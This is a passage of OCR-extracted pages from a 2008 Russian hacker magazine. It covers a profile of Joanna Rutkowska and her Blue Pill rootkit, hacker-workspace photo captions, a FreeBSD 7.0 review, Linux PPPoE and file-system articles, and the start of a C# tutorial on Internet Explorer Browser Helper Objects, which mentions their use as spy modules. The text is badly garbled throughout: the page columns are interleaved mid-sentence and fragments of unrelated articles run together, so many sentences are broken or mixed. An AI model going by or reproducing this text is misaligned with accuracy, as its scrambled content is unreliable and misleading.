каждый делает это по-своему. В частности, у Рутковской была весомая на одном из них негласно запустить руткит. Команда Пташека напишет
причина работать именно над Vista, а не, скажем, Linux — большинство детектор, который сможет определить, на какой именно машине функ-
заказчиков COSEINC интересовались безопасностью именно этой майк- ционирует «Синяя таблетка». Поединок, предположительно, должен был
рософтовской ОС. Спрос рождает предложение. состояться во время Black Hat 2007.
Продуктом исследований и тестов стала «Синяя таблетка». Аналогия с История получила довольно широкую огласку. За событиями следили не
«Матрицей» братьев Вачовски очевидна. Используя технологии аппарат- только в узких кругах, но и писали в новостях и блогах. Все ждали ответа
ной виртуализации, таблетка (если нужно — в обход цифровых подписей Жанны. Вызов она приняла, но с некоторыми поправками. В частности,
драйверов) устанавливает гипервизор (hyper-visor) — и начинается. предложила увеличить число компьютеров до пяти (что довольно логич-
«Проглатывая» Blue pill, система погружается во власть виртуального но) и... попросила команду Пташека оплатить работу двух программистов,
эмулятора и даже не подозревает об этом. исходя из ставки $200 в час (sic!) на человека. Учитывая, что по пример-
Исходный код «пилюли» Жанна написала сама, опираясь на бета-версии ным подсчетам Жанны, на завершение работы над руткитом ушло бы
Vista. Свои наработки в виде прототипа она поспешила представить сна- около полугода, а обычный рабочий график — это 8 часов в сутки и 20
чала на конференции SyScan в Сингапуре (в июле 2006, одновременно дней в месяц, она запросила порядка $384000. Это решило дело. Здесь
осветив вопрос у себя в блоге), а затем, 3‑го августа, выступила с докла- будет уместно процитировать самого Пташека: «Зачем нам покупать за
дом на ежегодном слете Black Hat в США. $384000 руткит, который мы точно сможем обнаружить?» Поединок не
Руткит вызвал немалый резонанс, но вовсе не со стороны Microsoft состоялся.
(они вообще отмахнулись от взлома, мол, никто не утверждал, что сло- Жанна — завсегдатай всевозможных конференций, брифингов, съездов
мать новую ось, тем более, бету, нельзя), а со стороны коллег по цеху. и форумов, посвященных информационной безопасности. А после того,
Рутковская утверждала, что обнаружить Blue pill 100% невозможно, и, как в 2006 журнал eWeek включил ее в пятерку хакеров, оставивших след
конечно же, нашлись те, кто заявил, что они докажут обратное. В частно- в истории уходящего года, Рутковскую можно назвать еще и настоящей
xàêåð 05 /113/ 08
081
>> сцена
звездой. Число желающих взять у нее автограф после Лаборатория невидимых вещей
выступления постоянно растет. В середине 2007 Рутковская покидает COSEINC. Думаю,
Доклады Жанны на мероприятиях такого рода в основном не в последнюю очередь потому, что компания охладела
сконцентрированы вокруг нескольких проблем. Она часто к проекту Blue pill. Но Жанна уходит не в «неизвест-
выступает с обвинениями в адрес Microsoft, утверждая, ность». В Варшаве она создает свою консалтинговую
что те не желают смотреть правде в глаза и признать уяз- фирму и теперь может называться еще и «бизнес-леди».
links вимость своих систем. «Сама структура современных ОС Детище Рутковской получает имя Invisible Things Lab
• bluepillproject.org такова, что даже опытный, продвинутый, юзер не может — «Лаборатория невидимых вещей».
— проект Blue pill. быть на 100% уверен в своей защищенности», — утвержда- По сути, в ITL работает только сама Жанна и наш сооте-
ет девушка-хакер. Вообще, по мнению Рутковской, одна из чественник — Александр Терешкин aka 90210, специа-
• invisiblethingslab. главных проблем современного ПО заключается в том, что лист по руткитам, малварю и реверсному инжинирингу. С
com — корпоратив- производители зацикливаются на предотвращении атак и Терешкиным судьба свела Рутковскую еще в COSEINC, где
ный сайт ITL. проникновений вредоносного софта в систему, в то время, он входил в состав ее команды Advanced Malware Labs.
как техник его обнаружения гораздо меньше — и они не К ITL он присоединился в роли ведущего исследовате-
• invisiblethings.org справляются со своей задачей. То есть, нужно или менять ля. Едва ли не первым делом они переписали «Синюю
— персональный сайт основы на аппаратном уровне или уделять больше внима- таблетку» практически с нуля — новую версию Жанна
ITL. ния методам обнаружения. назвала более зрелой. Интересно, что спонсировать их
Согласна Рутковская и с еще одной актуальной проблемой деятельность взялась небезызвестная компания Phoenix
• theinvisiblethings. сегодняшних дней, на которую очень любят кивать деве- Technologies, а большая часть кода теперь принадлежит
blogspot.com — блог лоперы: настоящий бич и самая большая дырка в безо- «перу» Терешкина. Впрочем, Рутковская не раз призна-
Жанны. пасности — это сам пользователь. Жанна подчеркивает, валась, что в новой фирме обязанности распределяются
что производителей это никоим образом не оправдывает, так: программирование преимущественно легло на плечи
но склоняется к тому, что людям необходимо препода- Александра, а сама она последнее время занимается
вать азы компьютерной безопасности и, возможно, даже вопросами бизнеса.
ввести какую-то аттестацию, по аналогии с получением Деятельность ITL ориентирована как на работу с разработ-
водительских прав. Последнее особенно касается выхода чиками софта (от создателей ОС до девелоперов защитных
в интернет. программ), так и на корпоративных клиентов, нуждающихся
в независимой проверке их систем безопасности. И конеч-
но, на сотрудничество с правоохранительными органами. В
основном — различные семинары и курсы на тему совре-
менной кибер-преступности и того, как все это работает.
Представителям правопорядка тоже нужно идти в ногу со
временем.
gorl,выпред
20" моник с открытой
линуксовой консолью.
Системный блок в
корпусе от Thermaltake
с 6 гигами оперативы, Мышь лазерная,
4 ядрами и стальными геймерская.
стенками ;).
Гламурный телефон от
Apple. У gorl’а таких два.
Маньяки.
Идеальная чистота.
Рабочее место хакера ([email protected]), который явно любит Не понимаем, как Симонов Михаил ([email protected]) ухитряется работать
бухнуть. Дохрена компов, водки, пива и мусора. Unhack обещал убраться и за таким маленьким моником.
просил передать привет Zloy Team.
Бардак Коляна Беляева ([email protected]). Евгений Ониксов ([email protected]>) живет с буком и компьютерной
Интересно, что это на тарелке? литературой на кухне.
У pluto ([email protected]) все очень цивильненько, так даже и А чувак с мылом [email protected] работает вот в такой обстановке.
не скажешь, что хакер.
xàêåð 05 /113/ 08
085
>> unixoid
Великолепная
семерка
Обзор новшеств в FreeBSD 7.0
Немного о FreeBSD которая, как ни странно, тоже считается веткой для разработчиков. Рабочие
Чтобы начать разговор, нужно пару слов сказать о самой FreeBSD. Проект серверы рекомендуется переводить на STABLE только после проверки
возник в начале 1993 года на основе кода одной из систем, разработан- работоспособности системы. На основе STABLE периодически появляются
ных в недрах Калифорнийского Университета Беркли (Berkeley Software тщательно протестированные релизы (RELEASE).
Distribution, отсюда и приставка BSD). Цель проекта — предоставление про- Итак, сегодня у нас на руках релиз 7.0, а седьмая ветка из CURRENT перешла
граммного обеспечения, которое может быть использовано для любых целей в STABLE.
и без дополнительных ограничений. Это гарантируется применяемой BSD
лицензией, насчитывающей всего три пункта и разрешающей использование Повышение производительности
исходного кода системы без его обязательной публикации (как в GNU GPL). В анонсе, появившемся после выхода FreeBSD 7.0, отмечались повышенные
Несмотря на изначальное ориентирование на работу в командной строке, производительность и стабильность системы в целом (особенно это касается
FreeBSD является самой современной ОС, поддерживающей многопро- многопроцессорных систем). В качестве доказательства был представлен
цессорные и многоядерные системы, сетевое оборудование, мультимедиа ряд тестов (people.freebsd.org/~kris/scaling). Последняя фряха показывала в
устройства и прочее. И хотя эта операционка больше популярна на серверах, 3.5 раза большую производительность по сравнению с FreeBSD 6.x и на ~15%
она также комфортно чувствует себя на ноутбуках и рабочих станциях. выше, чем Linux с различными ядрами ветки 2.6.
Помимо программ, включенных в базовую поставку, доступна коллекция портов За счет чего обеспечивается такой прирост?
и прекомпилированных пакетов, предоставляющая простой метод установки Исторически сложилось, что FreeBSD была заточена под однопроцессорные
приложений. Не стоит забывать и о бинарной совместимости, благодаря которой системы и не очень дружила с несколькими процами. Работать с ними она
FreeBSD умеет работать с приложениями, написанными для Linux. могла еще с третьей версии, но вот используемый алгоритм «giant lock» был
Существует две ветви FreeBSD — CURRENT и STABLE. Первая относится к далек от оптимального. Хотя пользовательский код и мог выполняться на не-
нестабильной и тестовой. В ней обкатывается новый экспериментальный код, скольких процессорах, ядро, «охраняемое» mplock, в единицу времени обра-
поэтому предназначена она, скорее, для энтузиастов и опытных пользовате- батывало только один процесс — исключение составляли разве что некоторые
лей. После тестирования фичи попадают в производственную ветку STABLE, прерывания. Учитывая возрастающую популярность многопроцессорных, а
xàêåð 05 /113/ 08
087
Меню sysinstall — ничего не изменилось
запросе. При самостоятельной пересборке не забудь включить «options Выбор файловой системы в finstall
UFS_GJOURNAL». Для подстраховки следует указать загрузку модуля:
# echo 'geom_journal_load="YES"' >> /boot/loader.conf в FreeBSD находилась в весьма плачевном состоянии. Даже в официальной до-
кументации большими буквами пугали нашего брата, мол, поддерживается она
Можно настроить журналирование и на существующей файловой системе, не полностью, использовать ее можно лишь на свой страх и риск. Да и понятие
но только в том случае, если последний сектор, в котором gjournal хранит «стабильность работы» как таковое отсутствовало. Уронить систему или потерять
информацию, не использован файловой системой. информацию при использовании unionfs было просто. В версии 7.0 появилась
Класс gvirstor (wikitest.freebsd.org/gvirstor) позволяет создавать виртуаль- новая, стабильная реализация этой файловой системы, написанная Даичи Гото
ные GEOM-провайдеры большей емкости, чем имеющееся в распоряжении (people.freebsd.org/~daichi/unionfs) с нуля. Более того, она перекочевала и в
физическое хранилище (режим overcommit). Стоит отметить, что к такому шестую ветку FreeBSD. Это открывает большие возможности, например, можно
виртуальному устройству очень просто добавить дополнительные разделы. смонтировать CD-ROM и «записывать» в него информацию:
Процесс выглядит следующим образом. Сначала создаем устройство /dev/
virstor/mydisk, к которому привязываем диски ad5 и ad6: # mount -t cd9660 -o ro /dev/acd0 /cdrom
# mount — t unionfs -o noatime /var/cdrom /cdrom
# gvirstor label -v mydisk /dev/ad5 /dev/ad6
Теперь каталог /var/cdrom примонтирован «поверх» /cdrom и с ним
Формируем файловую систему: можно работать как с обычным разделом жесткого диска. Кстати, в новой
фре убраны все mount_* утилиты (mount_devfs, mount_ext2fs,
# newfs /dev/virstor/mydisk mount_linprocfs, mount_procfs, mount_linsysfs и т.д.). Теперь
тип файловой системы задается через параметр '-t'.
Дополнительный диск добавляется командой:
Сетевые возможности
# gvirstor add mydisk ad7 Сетевые возможности претерпели не менее глобальные изменения, что, в
общем-то, неудивительно, так как это направление всегда активно развива-
Если устройство не востребовано, его легко можно удалить, используя пара- лось во фряхе. К примеру, новая реализация системного вызова sendfile()
метр remove, а введя «gvirstor list», получим список задействованных умеет отправлять большие объемы данных и совместно с TSO и другими
устройств. дополнениями обеспечивает чуть ли не пятикратное увеличение произво-
Это далеко не все изменения, коснувшиеся дисковой подсистемы. Класс дительности, особенно в гигабитных сетях. Добавлена поддержка протокола
GEOM_MULTIPATH (gmultipath) позволяет создавать несколько точек доступа передачи с управлением потоком SCTP (Stream Control Transmission Protocol)
к диску, управление возможно при помощи утилиты gmultipath. Из Linux — пока экспериментальная, но в GENERIC по умолчанию она активирована.
был портирован код, реализующий поддержку файловой системы XFS, прав- Появление TSO (TCP/IP Segment Offload) и LRO (Large Receive Offload) дает
да, в режиме «только чтение». возможность перенести обработку TCP-соединений на сетевые карты, что
Серверная и клиентские части NFS и псевдо ФС (procfs и другие) избавились снижает нагрузку на систему и опять же повышает производительность. Надо
от глобальных блокировок, что дает заметный прирост производительности сказать, поддержка реализована не для всех драйверов.
на многопроцессорных системах. Добавим сюда возможность автоматического определения размера TCP бу-
Долгое время реализация файловой системы «промежуточного уровня» unionfs фера в зависимости от скорости соединения. Ранее размер составлял 32 Кбит,
но на гигабитных скоростях этого уже недостаточно. Кроме того, появилась
поддержка 10‑гигабитных сетевых карт. Напомню, что еще в версии 6.3 поя-
вился портированный из Open/NetBSD драйвер, позволяющий объединять
warning
Реалтековская звуко-
вая карта, без проблем
работающая в шестой
фре, в седьмой
версии запускаться
отказалась! Вполне
возможно, что с до-
бавлением поддержки
нового оборудования
модули для поддержки
некоторых девайсов
были убраны или от-
ключены в настройках
по умолчанию.
В ноябре 2005 года была предложена KAME реализация IPSec, времени (была разработана в рамках проекта TrustedBSD).
но в это время на основе KAME и кода OpenBSD под руководст Список архитектур не изменился: AMD64, i386, ia64, pc98 и
вом Сема Леффлера уже проводились работы по адаптации PowerPC, однако сейчас ведутся работы по портированию
IPSec к многопроцессорному окружению. Некоторое время на ARM и UltraSparc T1, поэтому возможно когда-нибудь
FAST_IPSEC был доступен в виде патчей. Теперь KAME офи- мы увидим FreeBSD на наладонных устройствах и Sun
циально убран, а в FAST_IPSEC добавлена поддержка IPv6 и Niagara.
аппаратного ускорения шифрования. Скачать продукт можно как через Bittorrent (torrents.freebsd. dvd
Разработчики учли все возрастающую популярность беспро- org:8080), так и через традиционный FTP (ftp://ftp.freebsd. • В «Руководстве
водных сетей. В этом направлении была проделана неплохая org/pub/FreeBSD). Состав образов не изменился: первый FreeBSD», которое
работа, и в результате система получила полную поддержку — загрузочный, остальные — с пакетами, плюс отдельный образ можно прочитать на
семейства стандартов 802.11 (Wi-Fi и WiMax). с документацией. сайте проекта (www.
Полностью отказались от утилиты wicontrol, которая при- Процесс установки не претерпел глобальных изменений, это freebsd.org/doc), ты
менялась для настройки работы беспроводных интерфейсов, все тот же старый знакомый sysinstall. Хотя, признаться, ожидал найдешь ответы на
— теперь для этих целей предложено использовать более увидеть новый инсталлятор finstall (wiki.freebsd.org/finstall), подавляющее коли-
привычный ifconfig. имеющий более дружелюбный графический интерфейс. Под- чество вопросов по
Для sysctl появились новые переменные, позволяющие робнее о нем — смотри на врезке. системе. Причем,
на лету управлять параметрами различных подсистем ядра. Усовершенствована подсистема Linuxulator, которая поз- оно уже давно пере-
Например, kern.conftxt позволяет просмотреть содержи- воляет запускать бинарные файлы Linux без модификации ведено на русский
мое файла конфигурации для текущей сборки ядра, net.inet. и потерь на трансляцию системных вызовов одной ОС в язык.
icmp.reply_from_interface включает отправку ICMP отве- другую. Осуществлен переход на Linuх ядро 2.6.16. Однако
тов с IP, на который пришел пакет, а в kern.hostuuid записан по умолчанию эта возможность не включена, так как являет- • Интересные осо-
уникальный идентификатор узла UUID. ся экспериментальной (по дефолту используется эмуляция бенности поддержки
Теперь стало возможным без наложения дополнительных пат- 2.4). Но включить просто, для этого устанавливаем значение сети в FreeBSD
чей динамически вычислить размер TCP буферов в зависимости sysctl переменной compat.linux.osrelease в «2.6.16». можно узнать из
от типа сетевой активности. Управление осуществляется через В утилите freebsd-update, обеспечивающей все обновления интервью с разра-
ряд переменных sysctl, начинающихся с net.inet.tcp. безопасности за счет установки двоичных пакетов без необходи- ботчиками на www.
sendbuf_* и net.inet.tcp.recvbuf_*: мости пересборки системы, появилась дополнительная команда onlamp.com.
upgrade (обновляет систему до последнего релиза).
net.inet.tcp.sendbuf_auto=1 К сожалению, порт Dtrace, который позволяет «увидеть» процес- • Информацию по
net.inet.tcp.recvbuf_auto=1 сы, происходящие внутри операционной системы и пользо- всем настройкам
вательских приложений, еще нельзя отнести к стабильным и ZFS можно получить
Пространство пользователя (aka userland) полностью работоспособным. на странице WiKi
Первое, что бросается в глаза в новой версии, это полное — wiki.freebsd.
обновление прикладного программного обеспечения. Особо Заключение org/ZFS.
можно отметить: KDE 3.5.8, GNOME 2.20.2, X.Org 7.3, GCC Даже из такого беглого обзора видно, что нововведения в вер-
4.2.1, BIND 9.4.2, Sendmail 8.14.2, OpenSSL 0.9.8e. Причем, в сии 7.0 носят не косметический, а глобальный характер. Радует
GCC по умолчанию включена защита от атак, направленных улучшенная поддержка многопроцессорных систем на всех
на переполнение стека (Stack-Smashing Protector). уровнях ОС и увеличение списка поддерживаемых устройств и
До версии 1.0 обновлена библиотека OpenBSM (Open Source ФС. Администраторы вместе с пользователями оценили новинку
Basic Security Module), реализующая Sun BSM — подсистему и активно переходят на FreeBSD седьмой ветки. Надеюсь,
аудита системных событий, отслеживающую их в реальном теперь и ты присоединишься к ним. z
xàêåð 05 /113/ 08
089
>> unixoid
Прорыв
сквозь PPP
Настраиваем PPPoE и PPTP подключения в Linux
hide-password
#lcp-echo-interval 30
#lcp-echo-failure 4
noauth
# Восстановить связь в случае разрыва
persist
# Использовать максимальный размер передаваемого пакета
в 1492 байт
mtu 1492
usepeerdns
ется использовать скрипт /usr/bin/pon. Если заглянуть внутрь, можно auto dsl-provider
увидеть, что, кроме проверки наличия некоторых файлов, фактически iface dsl-provider inet ppp
выполняется всего одна команда «/usr/sbin/pppd call $PROVIDER». provider dsl-provider
В общем виде вызов pon выглядит так:
# added by pppoeconf
pon [OPTIONS] [provider] [arguments] auto eth0
iface eth0 inet manual
В качестве аргумента provider указывается файл из каталога /etc/ppp/ pre-up /sbin/ifconfig eth0 up
peers. По умолчанию используется provider (это и есть переменная
$PROVIDER). В нашем случае набираем: Если при загрузке системы не требуется автоматическое подключение по
PPPoE, просто комментируем эти строки. Повторяем попытку соединения.
$ pon dsl-provider Для контроля можно ввести команду:
К сожалению, везет не всегда, и порой (например, при наличии нескольких $ ifconfig ppp0
интерфейсов) приходится забуриваться в конфиги. Но ничего сложного в ppp0 Link encap:Point-to-Point Protocol
этом нет. Если подключиться можно только через sudo, то не надо выдумы- inet addr:157.33.34.178 P-t-P:192.168.101.1
вать и мудрить, просто добавь себя в нужную группу (в Ubuntu и некоторых Mask:255.255.255.255
других дистрибутивах для этих целей используется dip). UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1480
Metric:1
Конфиги PPPoE RX packets:283 errors:0 dropped:0 overruns:0
Начнем с самого простого файла /etc/ppp/pap-secrets (или chap- frame:0
secrets). Открыв его, ты найдешь свои логин и пароль для соединения в TX packets:284 errors:0 dropped:0 overruns:0
таком виде (результат работы pppoeconf): carrier:0
collisions:0 txqueuelen:3
user * password RX bytes:3004 (2.9 KiB) TX bytes:2744 (2.6 KiB)
Здесь достаточно проверить правильность данных или вписать стро- За ходом подключения можно следить в системном журнале /var/log/
ку самому, если pppoeconf не использовался. Параметры соединения messages. Для этого в другой консоли перед началом подключения
описываются в /etc/ppp/peers/dsl-provider. У меня после работы вводим:
pppoeconf он принял следующий вид:
$ tail — f /var/log/messages
$ sudo mcedit /etc/ppp/peers/dsl-provider
noipdefault Возможна ситуация, когда адрес есть, но доступ к ресурсам получить не
# В таблице маршрутизации сделать данное соединение мар- удается. В этом случае, введя «route -n», убедись, что маршрутизация
шрутом по умолчанию настроена правильно. Маршрут, помеченный как default, должен пока-
defaultroute зывать на интерфейс ppp0. Если это не так, вводим «route add default
replacedefaultroute ppp0» и проверяем: работает?
xàêåð 05 /113/ 08
091
>> unixoid
Настройка нескольких соединений свой конфиг options и подключать его при помощи параметра file. Этот
Бывает, что пользователям требуется работать сразу с несколькими вариант рассмотрим чуть дальше, при настройке PPTP.
серверами, использующими PAP (например, PPPoE и резервное модемное
соединение, VPN и другие). Если логин для каждого сервиса отличается, Пакет rp-pppoe
PPP, как правило, способен сам разрулить ситуацию. Но многие предпо- В дистрибутивах вроде Mandriva, VectorLinux и других для настройки PPPoE
читают использовать один и тот же логин для всех серверов, к которым предлагается более простой вариант с использованием пакета RP-PPPoE.
подключаются (надеюсь, хоть пароли разные). Это может вызвать траблы, В репозитарии Ubuntu он отсутствует, но его можно установить самостоя-
поскольку демон должен правильно выбрать нужную строку из файла pap- тельно. Тем более, что процесс сложностей не вызывает.
secrets для аутентификации. Ему нужно помочь. Для начала в файле Качаем последнюю версию по ссылке на странице www.roaringpenguin.
/etc/ppp/pap-secrets знак астериска '*' заменяем условным именем com/products/pppoe. Распаковывам tar.gz-архив, заходим внутрь каталога
сервера. Примерно так: и вводим: «./go-gui» или просто «./go», если первая команда откажется
работать. Далее отвечаем на стандартные вопросы: логин, интерфейс,
user server1 password1 активация при загрузке, DNS, пароль, настройки межсетевого экрана. В
user server2 password2 последнем случае предлагается на выбор три варианта: NONE (отключен),
STANDALONE (применяем, когда компьютер один) и MASQUERADE (когда
Создаем два файла, взяв за основу dsl-provider. В каждом из них компьютер используется в качестве сетевого шлюза). По окончании работы
при помощи параметров name и remotename задаем логин и сервер для скрипта выводится итог:
подключения.
** Summary of what you entered **
name user Ethernet Interface: eth1
remotename server1 User name: user
Activate-on-demand: No
Теперь просто указываем нужный файл в качестве аргумента pon. Это не Primary DNS: 111.33.44.55
единственный способ. Можно, как советуют man и HOWTO, использовать Secondary DNS: 222.44.55.66
Firewalling: STANDALONE
info
• В ядро Linux 2.6.15
включен модуль шиф-
рования PPP MPPE
для подключения к
PPTP серверам.
xàêåð 05 /113/ 08
093
>> unixoid
Денис Колисниченко
/ [email protected], www.dkws.org.ua /
Во власти
суперблока
Файловая система Linux в подробностях
Архитектура файловой системы VFS — это виртуальная файловая система. Именно она позволяет добиться
Прежде, чем приступить к рассмотрению архитектуры файловой системы существующего сейчас уровня абстракции. Каждая файловая система
Linux, нужно ответить на вопрос, что такое файловая система (ФС). В при- имеет свои особенности, и если бы не было VFS, то пришлось бы разрабаты-
роде можно встретить различные определения, например, ФС — это способ вать разные версии системных вызовов для каждого типа поддерживаемой
представления информации на носителе данных. Или ФС — часть опера- файловой системы (например, open_ext3() — для открытия файла, на-
ционной системы, обеспечивающая выполнение операций над файлами. ходящегося на файловой системе ext3, или open_vfat() — для ФС VFAT).
Но более точным будет объединить эти понятия. Ведь, грубо говоря, любая Другими словами, VFS делает системные вызовы независимыми от типа
файловая система состоит, минимум, из двух уровней — уровня представле- используемой файловой системы.
ния данных и набора системных вызовов для работы с данными.
Зачастую ОС может работать с различными файловыми системами, на- Копаем глубже
пример, с основной файловой системой (используется на жестком диске) Рисунок 1 — это общее представление о файловой системе Linux. Настало
и с файловой системой CD — ISO9660. Поэтому ОС должна обеспечить время копнуть глубже. Рассмотрим логическую структуру файловой системы
приложениям стандартный интерфейс, позволяющий обращаться к файлам ext3. Физически жесткий диск разбит на секторы размером 512 байт. Первый
на разных ФС прозрачно. Программист не должен каждый раз вникать в сектор дискового раздела в любой файловой системе считается загрузочной
тонкости файловой системы заново. Например, в Linux для открытия файла областью. В первичном разделе эта область содержит загрузочную запись
используется системный вызов open(). Программа просто вызывает — фрагмент кода, который инициирует процесс загрузки операционной сис-
open(), передав ему имя файла, а на какой ФС расположен этот файл — не темы при запуске. На других разделах область не используется. Остальные
суть важно. секторы объединены в логические блоки размером 1, 2 или 4 Кб. Логический
Теперь посмотри на рисунок 1. На нем изображено все сказанное выше. блок есть наименьшая адресуемая порция данных: данные каждого файла
Зеленым отмечен пользовательский уровень, а желтым — уровень ядра. занимают целое число блоков. Блоки, в свою очередь, объединяются в
Приложение может использовать функции glibc (библиотека GNU C) или группы. Группы блоков и блоки внутри группы нумеруются последовательно,
же напрямую обратиться к системным вызовам ядра — тут уж как будет угод- начиная с «1».
но программисту. Использовать функции glibc удобнее, но, вызывая не- Раздел диска, на котором сформирована файловая система ext3, может
посредственно системные вызовы (например, open(), read(), write(), быть представлен такой схемой (рис. 2).
close()), можно немного повысить производительность приложения Суперблок служит начальной точкой файловой системы и хранит всю ин-
— ведь ты минуешь glibc, которая использует те же системные вызовы. формацию о ней. Он имеет размер 1024 байта и располагается по смеще-
xàêåð 05 /113/ 08
097
>> unixoid
Рис 5. Создание и монтирование файла с файловой системой Рис 6. Создание и подключение своп-файла
xàêåð 05 /113/ 08
099
>> coding
Александр Эккерт
/ [email protected] /
Реальная
помощь
домохозяйкам
Учимся кодить модули поддержки обозревателя
COM — Component Object Model новым фундаментом, на котором выстроены конструкции OLE. Однако OLE
Спектр возможного применения BHO огромен — от простого шпионского — первая система на основе СОМ, и как любой первый блин, представляет
модуля, который отслеживает вводимые данные, до подмены содержимого собой не лучший пример использования его возможностей. По ряду причин
веб-страниц и перенаправления запросов пользователя. Ему позволено OLE заслужил репутацию сложного, медленного и трудного для программи-
практически все! Но сначала — теория. рования аппарата. Впрочем, это, скорее, недостатки реализации, а не СОМ.
Технология СОМ разрабатывалась, чтобы сделать приложения более СОМ — больше, чем просто спецификация. В СОМ есть API; это библиотека,
гибкими и настраиваемыми. Первоначальной целью была поддержка предоставляющая сервисы управления компонентами. Если ты разрабаты-
концепции, известной как связывание и внедрение объектов (object linking ваешь компоненты в стиле СОМ не для Windows, то большинство функций
and embedding). Реализация, созданная в Microsoft, получила название этого API несложно реализовать самостоятельно. Библиотека СОМ создана,
OLE. Первая версия OLE для связи между клиентом и компонентом исполь- чтобы гарантировать единообразное выполнение всеми компонентами
зовала динамический обмен данными (dynamic data exchange — DDE). В наиболее важных операций. Она экономит время разработчикам, создаю-
OLE 1 не было СОМ, DDE был построен на основе архитектуры передачи щим собственные компоненты и клиенты. Большая часть кода в библиотеке
сообщений Windows. Лучшее, что можно сказать об OLE 1, это то, что он все СОМ служит для поддержки распределенных или сетевых компонентов.
же работает — более или менее. Во-первых, DDE медлителен. Во-вто- Реализация распределенной СОМ (Distributed COM, DCOM) в системах
рых, написать корректно работающий код DDE сложно. Вдобавок, DDE не Windows предоставляет код, необходимый для обмена информацией с ком-
отличается надежностью и гибкостью. Другими словами, рано или поздно понентами по сети. Это избавляет нас не только от необходимости писать
должны были изобрести что-нибудь получше. такой код, но и от необходимости знать, как это делать!
Решением стала СОМ — меньше, быстрее, гибче, надежнее, чем DDE. Вторая Самое главное в СОМ — это интерфейсы. Через них клиент взаимодейству-
версия OLE была переписана с использованием СОМ, и именно СОМ стала ет с компонентом. Они похожи на элементы каркаса сборного дома — кар-
кас задает структуру, без которой крыша и стены не защитят нальность. В нашем проекте, кроме определений методов
жителей. Если мы не трогаем каркас, дом остается «струк- GetSite и SetSite, нужно предусмотреть реализацию
турно» тем же самым. Замена стен влияет только на внешний метода OnDocumentComplete. Эта функция является частью
вид. Аналогично этому, замена компонентов может изменить класса CDHtmlDialog и вызывается при завершении загруз-
поведение приложения, но не его архитектуру. ки страницы (подробности смотри на http://msdn2.microsoft. links
Одно из самых больших преимуществ компонентной модели com). Также добавим две переменные — WebBrowser и Тема создания BHO
— возможность повторного использования архитектуры HTMLDocument. Они позволят получить доступ к содержимому широко обсужда-
приложения. Просто разрешив заменять некоторые ключевые веб-страницы. ется на форумах
компоненты, мы добиваемся того, что одна и та же архитектура Теперь очень важный шаг — чтобы получить возможность realcoding.net,
может поддерживать несколько различных приложений. аттачиться к IE, нужно указать ссылку на GUID интерфейса gotdotnet.ru и, ко-
«Причем тут BHO?», спросишь ты. Дело в том, что BHO, IObjectWithSite — FC4801A3-2BA9-11CF-A229- нечно же, MSDN.
который мы хотим написать, и есть СОМ-объект, реализующий 00AA003D7352. Обычно он прописывается в этих двух ветках
интерфейс IObjectWithSite и подключающийся к Internet реестра: HKEY_CLASSES_ROOT\Interface\{FC4801A3-
Explorer. Наш продукт будет воспринимать Intrenet Explorer 2BA9-11CF-A229-00AA003D7352} и HKEY_LOCAL_
всего лишь как набор интерфейсов, которые и нужно реализо- MACHINE\SOFTWARE\Classes\Interface\{FC4801A3-
вать в нашей программе. 2BA9-11CF-A229-00AA003D7352}.
И это же надо сделать при описании интерфейса
Что такое BHO? IObjectWithSite путем добавления атрибута [ComVisible(true)].
Если в двух словах, то объект BHO является компактным Добавив GUID к описанию, добавим то же самое, но уже dvd
расширением в виде DLL-библиотеки, дополняющим обо- в код самого BHO. Затем описываем функциональность На диске ты найдешь
зреватель Internet Explorer пользовательскими функциями методов GetSite и SetSite. Реализация этих методов написанный на C#
(менее распространен случай, когда их добавляют к оболочке проста: вариант реализации
Windows Shell). BHO.
Как правило, объекты BHO не имеют собственного поль- Метод GetSite
зовательского интерфейса и существуют в виде простой public int GetSite(
библиотеки, которую IE подгружает при старте. BHO работают ref Guid guid,
в бэкграунде, реагируя на события обозревателя и действия out IntPtr ppvSite)
пользователя. Например, могут блокировать всплывающие {
окна, автоматически заполнять формы или реагировать IntPtr pointer =
на движения мыши. Типичным является заблуждение, что Marshal.GetIUnknownForObject(webBrowser);
объекты BHO требуются для создания расширений панели int face = Marshal.QueryInterface( info
инструментов (тулбаров). Тем не менее, в сочетании с ними pointer, ref guid, out ppvSite); Программирование
ВНО может предоставить пользователю расширенные воз- Marshal.Release(pointer); BHO советую начать
можности. return face; с изучения COM,
Объекты BHO удобны и для разработчиков — время жизни } например, с книги
объекта BHO совпадает со временем жизни экземпляра обоз- Дейла Роджерсона
ревателя, с которым он взаимодействует. В Internet Explorer В приведенной выше функции GetIUnknownForObject «Основы COM»: www.
6 и более ранних версиях это означает создание нового объек- мы получаем описатель интерфейса IUnknown для нашего podgoretsky.com/
та BHO (и его уничтожение) для каждого окна верхнего уровня, браузера. Осталось только добавить идентификатор CLSID classics.html.
а в Internet Explorer 7 — для каждой вкладки. Объекты BHO объекта BHO в реестр. Эта запись описывает библиотеку DLL
не загружаются другими приложениями, которые используют как объект модуля поддержки обозревателя и заставляет
элемент управления WebBrowser, или окнами, использующи- обозреватель IE загружать объект BHO при запуске. Среда
ми HTML (например, диалоговыми окнами). Visual Studio может зарегистрировать идентификатор CLSID
Итак, поехали... во время сборки проекта. Запомни: все BHO для Internet
Explorer регистрируются вот в этой ветке реестра: HKEY_
Создаем BHO LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
Основное требование к объекту BHO — наличие реализации CurrentVersion\Explorer\Browser Helper
интерфейса IObjectWithSite. Этот интерфейс предостав- Objects.
ляет метод SetSite, который обеспечивает первоначальный
обмен информацией с Internet Explorer и уведомляет объект
BHO о подготовке к освобождению (free). Создав простое
расширение для обозревателя с помощью этого интерфейса,
мы добавим идентификатор CLSID объекта BHO в реестр.
Для начала создадим новый проект Class Library в VS. Не
забудь добавить к проекту ссылки на две внешние библиотеки
— SHDocVw и MSHTML ( SHDocVw — путем добавления биб-
лиотеки shdocvw.dll, которая лежит в папке %systemroot%/
system32). Кроме этого нужно подключить дополнительное
пространство имен System.Runtime.InteropServices и
Microsoft.Win32.
Наш BHO будет состоять из двух раздельных классов — пер-
вый (bugaga) содержит в себе определение интерфейса
IObjectWithSite (в свою очередь, включает прототипы
двух функций — GetSite и SetSite) и второй (functional),
который будет реализовывать всю необходимую функцио- Регистрация сборки при помощи утилиты RegAsm
xàêåð 05 /113/ 08
101
>> coding
Делаем это так: добавляем еще одну функцию register для регистрации BHO {
и перед ней ставим атрибут [ComRegisterFunction]. Далее запускаем document = (mshtml.HTMLDocument)webBrowser.Document;
